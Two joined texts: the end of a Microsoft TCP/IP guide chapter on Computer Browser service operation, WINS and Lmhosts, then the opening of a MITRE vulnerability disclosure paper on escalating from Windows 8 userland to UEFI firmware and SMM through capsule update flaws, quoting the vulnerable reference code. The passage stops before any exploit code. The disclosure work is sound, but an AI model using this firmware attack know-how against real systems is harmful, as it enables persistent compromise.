to the client request with a list of computer names for Backup Browse Servers within the LAN group.
The client then randomly selects one of the Backup Browse Servers and sends it a request to download
the list of servers in the LAN group. The response from the selected Backup Browse Server contains
the list of servers in the LAN group.
The success of this operation depends on the client getting a response from the Master Browse Server
for the LAN group and the client’s ability to resolve the computer name of the randomly selected
Backup Browse Server of the LAN group to an IPv4 address.
Obtaining the List of Shares on a Server
On a computer running Windows XP or Windows Server 2003, you can view the list of shares on a
selected server by double-clicking the computer in the LAN group window. Alternately, you can view the
list of shares of a specific computer from the display of the net view \\servername command.
To get the list of shares on a server, the client computer attempts to resolve the NetBIOS name for the
Server service on the desired computer, which corresponds to ComputerName[20]. After the name is
resolved, a TCP session, a NetBIOS session, and an SMB session are created between the browse
client and the file sharing server. After the SMB session is created, the client requests a list of shares.
Although the request for the list of servers does not involve the Computer Browser service or browse
servers, it is part of the browsing operation done through My Network Places.
The success of this client request is dependent on the client’s ability to resolve the computer name of
the selected computer to its IPv4 address and to establish an authenticated SMB session with the
server.
The Computer Browser Service on Computers Running Windows Server 2008
Windows Server 2008 sets the startup state of the Computer Browser service to disabled by default for
a new installation of Windows Server and when upgrading an existing server to Windows Server 2008.
The default startup state of the Computer Browser service on computers running Windows Server 2008
can cause problems for a domain controller in the primary domain controller flexible single master
operations (PDC FSMO) role. For computer browsing, the computer in the PDC FSMO role centrally
collects and distributes information about domains, workgroups, and computers for multi-subnet
networks. If the computer in the PDC FSMO role is not running the Computer Browser service,
computer browse lists across the network will contain only domains, workgroups, and computers on the
local subnet.
To prevent this problem, configure the startup type for the Computer Browser service for Automatic on
the computer in the PDC FSMO role and then start Computer Browser service. You can do this from
the Services snap-in or at an elevated command prompt with the following commands:
sc config browser start= auto
sc start browser
Because the Computer Browser service relies on the file and printer sharing, you will also need to turn
on File and Printer Sharing in the Network and Sharing Center. Alternatively, move the PDC FSMO role
to another domain controller that has the Computer Browser service started and configured for
automatic startup and File and Printer Sharing turned on in the Network and Sharing Center.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 524
Additionally, if the only server computer on a subnet is running Windows Server 2008, client computers
will become the local browse server on the subnets. As client computers are started and are shut down,
the role of the local browse server will pass from one client computer to another, possibly resulting in an
inconsistent display of domains, workgroups, and computers. To prevent this problem, on the computer
running Windows Server 2008, turn on file and printer sharing, configure the startup type for the
Computer Browser service for Automatic, and then start the Computer Browser service.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 525
Computer Browser Service Operation on an IPv4 Network
Because the Computer Browser service relies on a series of broadcast NetBIOS over TCP/IP packets,
the placement of IPv4 routers can create problems. IPv4 routers do not forward broadcast packets. To
facilitate client browsing of all network resources in an IPv4 network, there must be mechanisms for the
collection, distribution, and servicing of client requests for browse lists when servers, browse servers,
and browse clients are located on different subnets.
The browsing collection, distribution, and the servicing of client requests across IPv4 routers must now
take place using a combination of unicast and broadcast IPv4 traffic, rather than just broadcast IPv4
traffic. To facilitate computer browsing across an IPv4 network, the Computer Browser services uses
the following:
Windows Internet Name Service (WINS) WINS helps in the collection of browse lists and the
servicing of client requests.
Entries in the Lmhosts file Special entries in the Lmhosts file help facilitate the distribution of
browsing information and the servicing of client requests.
Note The Computer Browser service relies on media access control (MAC)-level broadcast packets sent
using NetBT to and from UDP port 138 (the NetBIOS datagram port). In contrast, B-node NetBIOS name
registration and name query requests are sent as MAC-level broadcasts over UDP port 137 (the NetBIOS
name service port). Some routers can be configured to forward NetBIOS broadcasts from one IPv4 subnet
to another. If the IPv4 router is configured to forward NetBIOS broadcasts, the Computer Browsing service
works as if all the LAN groups were located on the same subnet. All Master Browse Servers are aware of all
servers in their LAN group and all other LAN groups and all browse client requests can be satisfied.
If NetBIOS broadcast forwarding is enabled on all IPv4 routers in the network, the following sections do not
apply. However, this solution is highly discouraged because it increases the amount of broadcast traffic on
each subnet, leading to decreased performance by all nodes on the network. Enabling broadcast forwarding
can also cause browse server election conflicts.
The following sections examine how the Computer Browser service works across an IPv4 network for
these browsing situations:
Domain spanning an IPv4 router
Multiple domains separated by IPv4 routers
Workgroup spanning an IPv4 router
Multiple workgroups separated by IPv4 routers
Domain Spanning an IPv4 Router
Figure C-3 shows a domain that spans an IPv4 router. There are domain members on at least two
different subnets located across an IPv4 router.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 526
Figure C-3 A domain that spans an IPv4 router
For this configuration, the following sections examine:
The collection and distribution process
The servicing of browse client requests
Collection and Distribution Process
When using domains that are split across routers, browse server elections occur within each subnet
and each subnet functions as an independent browsing entity with its own Master Browse Server and
Backup Browse Servers.
Each Master Browse Server collects the following for its own subnet:
The list of servers within its domain, by listening for Host Announcement packets sent by computers in
its domain.
The list of other LAN groups and their corresponding Master Browse Servers, by listening for Domain
Announcement or Workgroup Announcement packets sent by the Master Browse Servers of other LAN
groups.
If all the servers in the domain existed on one subnet, the Domain Master Browse Server would also be
the Master Browse Server for the domain. In the configuration in Figure C-3, the Domain Master
Browse Server is attached to only one subnet. To facilitate the flow of information for the browse list
across the IPv4 router, the Master Browse Servers on the other subnets must communicate with the
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 527
Domain Master Browse Server. The communication between the Domain Master Browse Server and
Master Browse Servers takes two forms:
Master Browse Servers update the Domain Master Browse Server with their collected list of servers in
the domain and other LAN groups on its subnet.
Master Browse Servers download the Domain Master Browse Server's browse list, which contains all of
the server names within the domain and all other LAN group names collected by the Domain Master
Browse Server and all other Master Browse Servers on other subnets.
The result is that each Master Browse Server gets the Domain Master Browse Server's browse list. The
Backup Browse Servers on each subnet download the browse list from their local Master Browse
Server.
The communication between the Master Browse Server and Domain Master Browse Server occurs
periodically through unicast IPv4 traffic. The Master Browse Server for each subnet contacts the
Domain Master Browse Server to exchange information. The Master Browse Server resolves the IPv4
address of the Domain Master Browse Server using either:
WINS If the Master Browse Server is a WINS client, it will query its WINS servers for the NetBIOS
name Domain[1B]. Only the Domain Master Browse Server registers this NetBIOS name.
Lmhosts file The Master Browse Server can use special entries in the Lmhosts file to locate the
Domain Master Browse Server. The details of these entries are discussed in the “Configuring the
Lmhosts File for an Domain that Spans IPv4 Routers” section of this chapter.
Servicing Browse Client Requests
When servicing browse client requests, the browse client can request the following:
List of servers within its domain or a LAN group on its subnet
To get the list of servers within its domain or for a LAN group on its subnet, the browse client
initially broadcasts a Get Backup List Request packet to the NetBIOS name LANGroup[1D]. The
Master Browse Server for the LAN group on the browse client’s subnet responds to the browse
client request with a list of computer names for Backup Browse Servers. The browse client then
randomly selects one of the Backup Browse Servers and contacts it directly for a list of servers
within the LAN group.
List of servers within another LAN group on another subnet
This process is described in the “Multiple Domains Across IPv4 Routers” section of this chapter.
List of shares on a server
To get the list of shares on a server, the browse client attempts to resolve the NetBIOS name for
the Server service on the desired computer, which corresponds to ComputerName[20]. Once the
name is resolved, a TCP session, a NetBIOS session, and an SMB session are created between
the browse client and the desired server. The list of shares on the server computer is sent over the
SMB session.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 528
Configuring the Lmhosts File for an Domain that Spans IPv4 Routers
To enable direct communication between Master Browse Servers on remote subnets and the Domain
Master Browse Server for computers that are not enabled to use WINS, you must configure the
Lmhosts file with the NetBIOS names and IPv4 addresses of the browse server computers.
The Lmhosts file on each subnet’s Master Browse Server should contain a series of entries for all the
domain controllers of the domain. Each entry must have the following information:
The IPv4 address and computer name of the domain controller
The domain name preceded by the #PRE #DOM: tags
The following is an example entry:
131.107.7.80 DC100 #PRE #DOM:EXAMPLE
For this Lmhosts entry, a domain controller for the EXAMPLE domain is a computer named DC100 at
the IPv4 address of 131.107.7.80. By adding entries for all the domain controllers, regardless of which
domain controller becomes the Domain Master Browse Server, the Lmhosts files do not need to be
changed on the other Master Browse Server computers.
When multiple Lmhosts entries exist for the same domain name, a computer running Windows XP or
Windows Server 2003 acting as a Master Browse Server determines which of the entries corresponds
to the Domain Master Browse Server by sending a query to each the IPv4 address. Only the Domain
Master Browse Server responds to the query. The computer then contacts the Domain Master Browse
Server to exchange browse list information.
At each domain controller, the Lmhosts file must be configured with entries for each of the Master
Browse Servers on remote subnets. By default, the Master Browse Server computer is elected using a
set of election criteria. To ensure that a specific computer is elected the Master Browse Server, set the
registry value
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Browser\Parameters\IsDomainMaster to
TRUE (REG_SZ). A computer with IsDomainMaster set to TRUE will typically only lose an election to
the Domain Master Browse Server or other computers with IsDomainMaster set to TRUE.
After you have configured the IsDomainMaster registry value on a designated server computer on each
subnet, add entries to the Lmhosts file on each domain controller for each of the designated Master
Browse Servers. These entries allow the Domain Master Browse Server to determine the set of
computers to contact to distribute the Domain Master Browse Server's browse list.
Multiple Domains Separated By IPv4 Routers
Figure C-4 shows multiple domains that are separated by an IPv4 router.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 529
Figure C-4 Multiple domains separated by an IPv4 router
For this configuration, the following sections examine:
Collection and distribution process
Servicing browse client requests
Collection and Distribution Process
Besides collecting the servers in its domain, a Master Browse Server collects the names of other LAN
groups on its subnet. All of this information is sent to the Domain Master Browse Server and distributed
to the other Master Browse Servers for that domain. Browse clients within that domain see the list of all
of the LAN groups that have been collected.
One enhancement WINS adds to the mechanism of collecting LAN group names is that a WINS-
enabled Domain Master Browse Server periodically queries the WINS server to obtain a list of all of the
domains from the WINS database. The Domain Master Browse Server queries WINS for all the
NetBIOS names that end with the 0x1B character. All NetBIOS names of this type are NetBIOS domain
names that were registered by Domain Master Browse Servers.
The list of domains obtained through the WINS query only contains the domain names and their
corresponding IP addresses. The list does not include the names of the Domain Master Browse
Servers that registered those names. To obtain the Domain Master Browse Server for the domain, the
Domain Master Browse Server computer sends a NetBIOS Adapter Status message to each IPv4
address corresponding to the NetBIOS computer name Domain[1B] for each domain collected through
the WINS query. The response to the NetBIOS Adapter Status message contains the computer name
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 530
of the computer that registered the domain name. In this way, the Domain Master Browse Server
completes its list of domain names and their corresponding Domain Master Browse Servers.
The advantage of this process is that the Domain Master Browse Server for any domain now has a list
of all domains (for those Domain Master Browse Servers that are WINS clients or have static WINS
entries), including those on remote subnets that are not spanned by its domain.
Servicing WINS-enabled Client Requests for Remote Domains
When a client requests a list of servers from a domain other than its own, the process for resolving the
Master Browse Server for the domain depends on the client type. For WINS clients, the client
broadcasts a Get Backup List Request packet to the NetBIOS name LANGroup[1D] to get a list of
Backup Browse Servers from a local Master Browse Server. Because the browse client is requesting a
set of Backup Browse Servers for a remote domain, it will not receive a response to the broadcasted
Get Backup List Request packet.
The client then requests the IPv4 address of the domain’s Domain Master Browse Server from WINS
by querying for the NetBIOS name Domain[1B]. The WINS name query will only be successful for
domains for which the Domain Master Browse Server is a WINS client or has a static WINS entry.
If the client receives a positive name response from the WINS server, the following process occurs:
1. The client sends a unicast Get Backup List Request packet to the IPv4 address of the Domain
Master Browse Server (corresponding to the NetBIOS name Domain[1B]).
2. The Domain Master Browse Server responds with a list of Backup Browse Servers. The client
randomly selects one of the Backup Browse Servers and uses a WINS query (for the NetBIOS name
BackupBrowseServerName[20]) to get the IPv4 address of the selected Backup Browse Server for
the domain.
3. The browse client then connects to the Backup Browse Server and requests a list of servers in its
domain.
4. The Backup Browse Server returns the list of servers to the browse client.
Figure C-5 shows this process.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 531
Figure C-5 Servicing a WINS-enabled client requests for a positive WINS server response
The browse client may receive a negative name response for the NetBIOS name query LANGroup[1B]
if the LAN group is a workgroup, the domain controller for the domain is not a WINS client or has a
static WINS entry, or if the domain controller for the domain is a WINS client and the domain controller
and the browse client are not sharing a common WINS database (via replication). If the browse client
receives a negative name response from the WINS server, the following process occurs:
1. The browse client makes a connection with its local Master Browse Server and requests the name of
the Master Browse Server of the desired LAN group.
2. The local Master Browse Server returns the name of the Master Browse Server that advertised the
LAN group.
3. The client resolves the NetBIOS name of the Master Browse Server that advertised the LAN group
(MasterBrowseServerName[20]) and makes a connection with that Master Browse Server to request
a list of servers in the LAN group.
4. The Master Browse Server returns the list of servers in the LAN group to the browse client.
Figure C-6 shows this process.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 532
Figure C-6 Servicing WINS-enabled client requests with a negative WINS server response
Servicing non-WINS Client Requests for Remote Domains
For browse clients that are not using WINS, the process for obtaining a list of servers in a remote
domain is the following:
1. The client broadcasts a Get Backup List Request packet to the NetBIOS name Domain[1D] to get a
list of Backup Browse Servers from a local Master Browse Server. The client also broadcasts a
NetBIOS name query for the NetBIOS name Domain[1B]. Since the client is attempting to obtain a
list of servers in a remote domain, there is no response to this broadcasted query.
2. The client makes a connection with its local Master Browse Server and requests the name of the
Master Browse Server of the desired domain.
3. The local Master Browse Server returns the name of the Master Browse Server that advertised the
domain.
4. The client resolves the NetBIOS name of the Master Browse Server that advertised the LAN group
(MasterBrowseServerName[20]) and makes a connection with that Master Browse Server to request
a list of servers in the LAN group.
5. The Master Browse Server returns the list of servers in the LAN group to the browse client.
Figure C-7 shows this process.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 533
Figure C-7 Servicing a browse client request for a remote domain when WINS is not enabled
This process works for both domains and workgroups.
The success of this process depends on the following:
The local Master Browse Server has the name of the Master Browse Server that advertised its LAN
group in its browse list. This information is available for those LAN groups that were collected through
Domain Announcement or Workgroup Announcement packets and for those domain names collected
through the WINS query for all names ending with 0x1B.
The client is able to resolve the NetBIOS name of the Master Browse Server
(MasterBrowseServerName[20]) of the remote LAN group. For a browse client that is not using WINS,
entries must be added to the Lmhosts file for the Master Browse Servers of remote LAN groups.
If the Domain Master Browse Servers for different domains are not WINS-enabled and the domains do
not span a common subnet, the domains become stranded. They never appear in each other's browse
lists. It is possible to browse a stranded domain by name by using the net view /d:domain command.
However, this command is only successful if the browse client can resolve the NetBIOS name
Domain[1B]. For browse clients on which WINS is not enabled, you can add an entry to the local
Lmhosts file for the NetBIOS name Domain[1B] with the IPv4 address of the Domain Master Browse
Server for that domain.
Workgroup Spanning an IPv4 Router
A workgroup that spans an IPv4 router creates two separate workgroups. With workgroups, there is no
mechanism to propagate the list of servers collected by the Master Browse Server on one subnet to the
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 534
Master Browse Server on another subnet. Master Browse Servers for workgroups do not register a
special NetBIOS name with WINS that may be used by workgroup Master Browse Servers or by
browse clients. There are no special Lmhosts entries that are used to forward unicast workgroup
browse list information between Master Browse Servers.
Figure C-8 shows an example of a workgroup spanning an IPv4 router.
Figure C-8 A workgroup spanning an IPv4 router
The only way to have the browse clients see all the servers in the workgroup on both sides of the router
is to enable the forwarding of NetBIOS over TCP/IP broadcasts or to upgrade the workgroup to a
domain. However, this solution is highly discouraged.
Multiple Workgroups Separated By IPv4 Routers
There is no support for a workgroup Master Browse Server to advertise itself beyond its own subnet.
Domains can advertise themselves beyond their subnet with the special Domain[1B] NetBIOS name
registered by the Domain Master Browse Server with WINS. There is no such mechanism for
workgroups. The combination of the spanning and advertisement behavior of domains and the lack of
these mechanisms in workgroups can produce some confusing results.
Figure C-9 shows an example configuration.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 535
Figure C-9 Multiple workgroups separated by an IPv4 router
CORP is a domain that spans Subnets 1 and 2. R&D_WG and MKTG_WG are both workgroups that
exist on Subnets 1 and 2, respectively. Due to the collection and distribution processes between MB1
(the Master Browse Server for CORP on Subnet 1) and DC1 (the Domain Master Browse Server for
CORP on Subnet 2), the browse list for browse clients in the CORP domain consists of:
The CORP domain and all the servers in the CORP domain (for simplification, only MB1 and DC1 are
shown)
The R&D_WG workgroup with its Master Browse Server (RD1)
The MKTG_WG workgroup with its Master Browse Server (MK1)
However, for browse clients in the R&D_WG workgroup, the only items seen in the browse list are:
The R&D_WG workgroup and all the servers in the R&D_WG Workgroup (only the Master Browse
Server RD1 is shown for simplification)
The CORP domain
The MKTG_WG workgroup does not and will not appear in the browse list for R&D_WG. This is due to
the following:
Workgroup Announcements packets for the MKTG_WG workgroup are not forwarded across the IPv4
router.
There are no special NetBIOS names for the MKTG_WG workgroup that can be queried via WINS by
the Master Browse Server for the R&D_WG workgroup.
Appendix C – Computer Browser Service
TCP/IP Fundamentals for Microsoft Windows
Page: 536
There are no mechanisms for the Master Browse Server for the CORP domain (MB1) on Subnet 1 to
forward its knowledge of the MKTG_WG workgroup to the Master Browse Server for R&D_WG.
When a browse client in the R&D_WG or MKTG_WG workgroups opens the CORP domain in the
Microsoft Windows Network window, it only receives a list of servers in the CORP domain from MB1.
MB1 does not send the browse client a list of other LAN groups known to MB1.
The result is known as the stranded workgroup problem. The existence of a workgroup is stranded to its
subnet and to domains that span its subnet. Only workgroups on the subnet and domains that span the
subnet will see the workgroup in its browse list. LAN groups on other subnets will never have the
stranded workgroup in their browse lists. The only solution to the stranded workgroup problem is to
enable the forwarding of NetBIOS over TCP/IP broadcasts on IP routers (highly discouraged) or to
upgrade the workgroups to domains.
The problems associated with stranded workgroups across IPv4 routers are typically not an issue for
large organizations that use domains to provide both the logical grouping of computers and the security
and accounts infrastructure for authentication and access control. | pdf |
Extreme Privilege Escalation On Windows 8/UEFI Systems
Corey Kallenberg
Xeno Kovah
John Butterworth
Sam Cornwell
[email protected], [email protected]
[email protected], [email protected]
The MITRE Corporation
Approved for Public Release
Distribution Unlimited. Case Number 14-2221
Abstract
The UEFI specification has more tightly coupled the bonds of the operating system and the platform
firmware by providing the well-defined “Runtime Service” interface between the operating system and
the firmware. This interface is more expansive than the interface that existed in the days of conventional
BIOS, which has inadvertently increased the attack surface against the platform firmware. Furthermore,
Windows 8 has introduced an API that allows accessing this UEFI interface from a privileged userland
process. Vulnerabilities in this interface can potentially allow a privileged userland process to escalate its
privileges from ring 3 all the way up to that of the platform firmware, which attains permanent control
of the very-powerful System Management Mode. This paper discusses two such vulnerabilities that the
authors discovered in the UEFI open source reference implementation and the techniques that were used
to exploit them.
1
Contents
1
Introduction
3
2
Runtime Services
3
2.1
Variable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2
Capsule Update . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2.1
Capsule Update Initiation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2.2
PEI Phase Capsule Coalescing
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
2.2.3
DXE Phase Capsule Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
3
Capsule Update Vulnerabilities
6
3.1
Coalescing Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
3.2
Envelope Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
4
Capsule Update Exploitation
10
4.1
Coalescing Exploitation
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10
4.1.1
Coalescing Exploitation Difficulties . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11
4.1.2
Descriptor Overwrite Approach . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12
4.1.3
Optimization Tricks
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12
4.1.4
Coalesce Exploitation Success . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13
4.2
Envelope Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14
4.3
Exploitation From Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16
5
Leveraging The Attack
18
6
User Experience
19
7
A↵ected Systems
19
7.1
OEM Firmware Instrumentation
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19
7.2
HP EliteBook 2540p F23 Case Study . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
20
7.3
General Observations Regarding A↵ected Systems
. . . . . . . . . . . . . . . . . . . . . . . .
21
8
Vendor Response
22
9
Recommendations
22
10 Related Work
22
11 Conclusion
22
12 Acknowledgments
23
2
1
Introduction
UEFI is rapidly replacing conventional BIOS on modern computers. A driving factor behind this migration
is Microsoft’s addition of UEFI firmware to the recommended hardware for Windows 81. An important
reason for Microsoft’s push for UEFI adoption is the additional security features that UEFI provides. UEFI
Secure Boot is one of these features which protects against bootkit style attacks that can compromise the
integrity of the NT kernel at load time. Starting with Windows Vista, 64 bit editions of Windows have also
enforced the requirement that kernel drivers be signed with an authenticode certificate. Thus the signed
driver requirement coupled with Secure Boot enforces of the integrity of the ring 0 code in the Windows 8
x64 environment.
In the post exploitation phase, it may be desirable for an attacker to inject a rootkit into ring 0 in order to
have powerful influence over the system. Due to Secure Boot and the signed driver requirement, the attacker
would now require a ring 3 to ring 0 privilege escalation exploit that attacks a vulnerability in the NT kernel
or a 3rd party driver. This particular attack model has already been discussed at length[12][13][14]. This
paper instead seeks to explore a di↵erent method of post exploitation privilege escalation that allows the
attacker permanent residence in an even more extreme environment... System Management Mode (SMM).
userspace
kernel
VMM
SMM
SPI flash
ring 3
ring 0
“ring -1”
“ring -2”
“ring -2.5”
userspace
kernel
VMM
SMM
SPI flash
Extreme Post-Exploitation
Privilege Escalation
Plain Jane Post-Exploitation
Privilege Escalation
Figure 1: Plain Jane Post-Exploitation Privilege Escalation vs. Extreme Post-Exploitation Privilege Escalation
The attack surface explored in this paper is the UEFI Runtime Services interface. A successful attack
against this interface may allow an attacker to permanently alter the UEFI firmware.
From the UEFI
firmware, the attacker is allowed to control the early bootup process of the system, including the configuration
and initialization of the SMM code. This paper highlights the UEFI Runtime Services as a new and viable
attack surface by describing and exploiting two UEFI vulnerabilities discovered by the authors.
2
Runtime Services
UEFI provides a set of functions that are accessible to both the early boot environment and to the operating
system[18]. These functions are known as the “Runtime Services.” The Runtime Services provide function-
ality to reset the system, modify firmware environment variables, initiate a firmware update, as well as other
tasks. Typically these services are meant to be used by the operating system kernel. However, Windows 8
has introduced an API that exposes a subset of the Runtime Services to administrator userland processes.
1http://windows.microsoft.com/en-us/windows-8/system-requirements
3
2.1
Variable Interface
The Runtime Services provide functions for accessing “EFI Variables.” EFI variables are similar to op-
erating system environment variables.
Typically EFI variables are consumed by the platform firmware
during the boot up of the system.
Alternatively, some EFI variables may be created by the firmware
to communicate information to the operating system. For instance, the platform language and the boot
media order are stored as EFI variables.
The Runtime Services provide functions for reading, writing,
creating and enumerating EFI variables.
Furthermore, Windows 8 introduced the SetFirmwareEnviron-
mentVariable and GetFirmwareEnvironmentVariable functions for programmatically interacting with EFI
variables from userland[11]. These functions are callable from an administrator userland process with the
SE SYSTEM ENVIRONMNENT NAME access token.
The important observation is the EFI variable interface is a conduit by which a less privileged domain
(ring 3) can insert data for a more privileged domain (the platform firmware) to consume. Furthermore, many
of these variables serve undocumented purposes and have complex contents. Historically this is the type of
interface where memory corruption vulnerabilities have been discovered. Alert readers may draw comparisons
to Unix environment variable parsing vulnerabilities2. In fact, vulnerabilities have already been discovered
in some of these EFI variables that allowed bypassing Secure Boot or bricking the victim computer[16][4].
However, the aforementioned vulnerabilities were design flaws resulting from security critical configuration
data being stored in an unprotected3 EFI variable. This paper specifically considers memory corruption
vulnerabilities that were found in the Intel UEFI reference implementation’s[9] parsing of a standard EFI
variable, “CapsuleUpdateData.”
2.2
Capsule Update
The platform firmware is stored on a SPI flash chip that is soldered onto the motherboard. Because the
firmware is a security critical component, Intel provides a number of chipset[5] flash protection mechanisms
that can protect the contents of the flash chip from even ring 0 code. It is also necessary to implement a
means to securely update the platform firmware in the event that bugs need to be patched, or new features
added. Historically, the firmware update process was non standardized and OEM specific. UEFI attempts to
standardize the firmware update process by defining “capsule update” functionality as part of the Runtime
Services.
The capsule update Runtime Service seeds a firmware update capsule into RAM and then performs a
soft reset of the system. During a warm reset of the system, the contents of RAM will remain intact, thus
allowing the capsule contents to survive for consumption by the firmware. The flash chip is also unlocked
as part of the reset. Early in the boot up of the system, the firmware will check for the existence of a
firmware update capsule. If one exists, the firmware will verify the update contents are signed by the OEM,
and if so, write the new firmware update to the still unlocked flash. If the update contents can not be
cryptographically verified, or if no update is pending, the firmware locks the flash protection registers on
the chipset to prevent further write access to the firmware. For further information on these flash protection
mechanisms, the reader is referred to another paper[15][16].
Because an open source UEFI reference implementation is provided by Intel[8], the exact details of the
UEFI capsule update implementation can be examined at the source code level. The implementation specifics
are now described in detail.
2.2.1
Capsule Update Initiation
The capsule update process is initiated by calling the UpdateCapsule Runtime Service function.
2This class of vulnerability allowed an unprivileged user to escalate their privileges to root by seeding an environment variable
with an exploit payload, and then calling a suid root program that unsafely parsed the relevant environment variable
3Non Authenticated, Runtime Accessible.
4
typedef
EFI_STATUS
UpdateCapsule (
IN EFI_CAPSULE_HEADER
**CapsuleHeaderArray,
IN UINTN
CapsuleCount,
IN EFI_PHYSICAL_ADDRESS ScatterGatherList OPTIONAL
);
Listing 1: UpdateCapsule definition.
The ScatterGatherList in Listing 1 is an array of EFI CAPSULE BLOCK DESCRIPTOR entries. Each
descriptor entry is a pair consisting of a capsule fragment data pointer, and a capsule fragment size.
typedef struct (
UINT64 Length;
union {
EFI_PHYSICAL_ADDRESS DataBlock;
EFI_PHYSICAL_ADDRESS ContinuationPointer;
}Union;
) EFI_CAPSULE_BLOCK_DESCRIPTOR;
Listing 2: EFI CAPSULE BLOCK DESCRIPTOR definition.
It is the responsibility of the calling operating system to decide how to fragment the contiguous update
capsule so that it fits within the resource constraints of the system. Note that each individual fragment
of the update capsule is unsigned. The location of the ScatterGatherList is stored in an EFI Non-Volatile
variable named “CapsuleUpdateData” so that it can be passed onto the firmware during reboot. At this
point, a warm reset is performed.
2.2.2
PEI Phase Capsule Coalescing
The UEFI boot process is divided into several phases. The Pre-EFI Initialization (PEI) phase occurs early in
the boot up process and is responsible for, among other things, initializing the CPUs and main memory[7].
PEI is where the processing of the incoming capsule update image begins. Initially, an attempt is made to
determine whether or not a firmware update is pending. If the platform is booting under a warm reset and
the CapsuleUpdateData variable exists, the boot mode is changed to BOOT ON FLASH UPDATE. At this
point the contents of the CapsuleUpdateData variable is interpretted as a physical address pointing to the
aforementioned ScatterGatherList.
Before processing can continue, the capsule update must be coalesced into its original form. The results
of this process are described visually in Figure 2. After the update has been coalesced, further processing is
deferred to the DXE phase.
2.2.3
DXE Phase Capsule Processing
The Driver Execution Environment Phase (DXE) is responsible for the majority of system initialization[6].
DXE is responsible for continuing to process the capsule image that was coalesced during PEI. The contents
of the capsule image are encapsulated in a series of envelopes that provide contextual information about the
contents of the update. For a visual depiction see Figure 3.
5
00000000
FFFFFFFF
MemBase
MemBase + MemSize
3C1BF000
100000
Coalesced
Capsule
UEFI PEI Code
PEI Stack
Capsule Data Block 0
Capsule Data Block 1
Capsule Data Block 1
Capsule Data Block N-1
...
Capsule Data Block 0
Capsule Data Block N-1
3F000000
3E000000
3D000000
DescriptorArray (BlockList)
DescriptorArray[0]
Length=0x20000
DataBlock=3F000000
DescriptorArray[1]
Length=0x20000
DataBlock=3D000000
...
DescriptorArray[N-1]
Length=0x100
DataBlock=3E000000
3E700000
“CapsuleUpdateData” = 3E700000
Figure 2: Capsule Image Coalesced During PEI Phase
typedef struct {
EFI_GUID
CapsuleGuid;
UINT32
HeaderSize;
UINT32
Flags;
UINT32
CapsuleImageSize;
} EFI_CAPSULE_HEADER;
typedef struct {
UINT8
ZeroVector[16];
EFI_GUID
FileSystemGuid;
UINT64
FvLength;
UINT32
Signature;
EFI_FVB_ATTRIBUTES
Attributes;
UINT16
HeaderLength;
UINT16
Checksum;
UINT8
Reserved[3];
UINT8
Revision;
EFI_FV_BLOCK_MAP_ENTRY
FvBlockMap[1];
} EFI_FIRMWARE_VOLUME_HEADER;
Listing 3: Capsule Update envelope structures.
3
Capsule Update Vulnerabilities
The authors performed a brief 2 week audit of the open source UEFI reference implementation at release
UDK2010[9]. The focus of the audit was the capsule update process, and the scope was limited to code that
executes before cryptographic verification of the capsule contents. Critical vulnerabilities were found both
6
CAPSULE
FIRMWARE_VOLUME_HEADER
FIRMWARE_VOLUME_HEADER
FIRMWARE_FILE
FIRMWARE_FILE
CAPSULE_HEADER
FIRMWARE_VOLUME_HEADER
Figure 3: Capsule Envelopes
in the PEI coalescing phase, and in the DXE capsule processing phase. The specifics of the vulnerabilities
are discussed below.
3.1
Coalescing Vulnerability
EFI_STATUS
EFIAPI
CapsuleDataCoalesce (
IN EFI_PEI_SERVICES
**PeiServices,
IN EFI_PHYSICAL_ADDRESS
*BlockListBuffer,
IN OUT VOID
**MemoryBase,
IN OUT UINTN
*MemorySize
)
{
...
//
// Get the size of our descriptors and the capsule size. GetCapsuleInfo()
// returns the number of descriptors that actually point to data, so add
// one for a terminator. Do that below.
//
GetCapsuleInfo (BlockList, &NumDescriptors, &CapsuleSize);
if ((CapsuleSize == 0) || (NumDescriptors == 0)) {
return EFI_NOT_FOUND;
}
...
DescriptorsSize
= NumDescriptors * sizeof (EFI_CAPSULE_BLOCK_DESCRIPTOR);
...
if (*MemorySize <= (CapsuleSize + DescriptorsSize)) { <= Bug 1
return EFI_BUFFER_TOO_SMALL;
}
Listing 4: CapsuleDataCoalesce code
7
EFI_STATUS
GetCapsuleInfo (
IN EFI_CAPSULE_BLOCK_DESCRIPTOR
*Desc,
IN OUT UINTN
*NumDescriptors OPTIONAL,
IN OUT UINTN
*CapsuleSize OPTIONAL
)
{
UINTN Count;
UINTN Size;
...
